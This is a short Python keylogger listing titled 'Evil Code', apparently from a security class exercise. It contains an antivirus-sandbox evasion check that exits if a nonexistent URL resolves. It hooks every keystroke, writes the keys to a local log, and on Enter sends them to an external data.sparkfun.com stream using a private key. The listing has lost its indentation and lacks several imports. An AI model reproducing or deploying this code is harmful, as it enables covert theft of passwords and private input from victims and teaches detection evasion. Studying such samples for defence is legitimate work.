Evil Code
Evil Code
LOG_FILENAME = 'keylog.txt'
import socket
numchars = 0
keys = ""
import webbrowser
import urllib
url = 'http://attack.samsclass.info/idontexist.htm'
response = urllib.urlopen(url)
# print "url: ", url, " Code = ", response.getcode();
if response.getcode() == 200:
print "You are not a real machine!"
print "You are an emulated network inside an AV product!"
print "I'm not going to log your keystrokes, after all!"
x = raw_input("Press Enter to continue");
exit(1)
def OnKeyboardEvent(event):
global numchars, keys
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
numchars += 1
keys += chr(event.Ascii)
if event.Ascii == 13:
url = 'http://data.sparkfun.com/input/yAGWzw6yX4H87KNJNV4d'
params = urllib.urlencode({'private_key' : '4Welwz5yJdC1N5pGpnkB',
'keys' : keys})
req = url + "?" + params
response = urllib.urlopen(req)
webbrowser.open('https://data.sparkfun.com/streams/yAGWzw6yX4H87KNJNV4d')
sys.exit()
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()